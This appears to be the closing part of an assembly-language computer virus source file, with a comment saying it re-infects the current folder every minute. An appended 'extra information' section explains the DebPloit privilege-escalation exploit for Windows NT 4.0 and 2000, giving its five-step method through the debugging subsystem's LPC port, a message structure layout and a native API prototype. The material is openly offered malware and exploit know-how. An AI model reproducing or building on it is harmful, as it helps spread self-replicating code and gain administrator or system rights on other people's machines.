;since explorer,virus will infect current folder in intervals of 1 minute


buffy db 256 dup (?)

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

Pad2:
PADDING2 equ  4 - (((Pad2 - ECode) - (4*((Pad2 - ECode)/4))))
db PADDING2 dup (0)
EVirus:
end start
end



HERE YOU CAN FIND SOME EXTRA INFORMATION FOR VIRUS UNDERSTANDING


DebPloit allows Everyone to get handle to Any process or thread.
Handles have enough access to promote everyone to system/admin
(in the case Target is running under LocalSystem, Administrator account).
Works on: Any MS Windows NT 4.0, Windows 2000 (SPs before Mar-12-2002).
Former NTs weren't tested. Discovered: Mar-09-2002. Author: Radim "EliCZ" Picha. 
Bugs@EliCZ.cjb.net. http://www.anticracking.sk/EliCZ. Details: Exploit\DebPloit.h. 
Principle: Ask debugging subsystem (lives in smss.exe) to create (duplicate) handle(s)
to Target for you: 
1. Become dbgss client (DbgUiConnectToDbg).
2. Connect to DbgSsApiPort LPC port (ZwConnectPort).Everyone has access to this port.
3. Ask dbgss to handle CreateProcess SsApi with client id (or pid or tid only)
of Target (ZwRequestPort). 
4. Wait for dbgss to reply with CREATE_PROCESS_DEBUG_EVENT (WaitForDebugEvent). 
Message contains duplicated handle(s). 
5. When debugger's thread terminates(e.g. on logoff), Target process or thread is 
terminated too (like it was regularly debugged). 



struct _DBG_SS_CP_LPC_MESSAGE {
    USHORT DataSize;            //00
    USHORT MessageSize;         //02  
    USHORT MessageType;         //04
    USHORT VirtualRangesOffset; //06
    DWORD  CallerPid;           //08
    DWORD  CallerTid;           //0C
    ULONG  MessageId;           //10
    ULONG  SectionSize;         //14
    DWORD  dwSsDebugEventCode;  //18
    DWORD  Status;              //1C 
    DWORD  DebuggeePID;         //20 
    DWORD  DebuggeeTID;         //24
    PVOID  pDbgSsKmMsg;         //28  //size ~ 0x78
    DWORD  DebuggerPID;         //2C
    DWORD  DebuggerTID;         //30
    DWORD  Unknown34;           //34
    DWORD  hFile;               //38
    LPVOID lpBaseOfImage;       //3C 
    DWORD  dwDebugInfoFileOffset;//40 
    DWORD  nDebugInfoSize;      //44
    LPVOID lpThreadLocalBase;   //48
    LPTHREAD_START_ROUTINE lpStartAddress; //4C
    LPVOID lpImageName;         //50
    WORD   fUnicode;            //54
    WORD   ImageName[(MAX_DBG_SS_CP_LPC_MESSAGE_SIZE - 0x56)/sizeof(WORD)]; //56 pro forma
    }
    MAX_DBG_SS_CP_LPC_MESSAGE_SIZE = 80h


NTSYSAPI NTSTATUS NTAPI ZwConnectPort (
 OUT PHANDLE ClientPortHandle, 
IN PUNICODE_STRING ServerPortName,
 IN PSECURITY_QUALITY_OF_SERVICE SecurityQos,
 IN OUT PLPC_THIS_SIDE_MEMORY ClientSharedMemory OPTIONAL,
 IN OUT PLPC_OTHER_SIDE_MEMORY ServerSharedMemory OPTIONAL,
 OUT PULONG MaximumMessageLength OPTIONAL, 
IN OUT PVOID ConnectionInfo OPTIONAL, 
IN OUT PULONG ConnectionInfoLength OPTIONAL 
);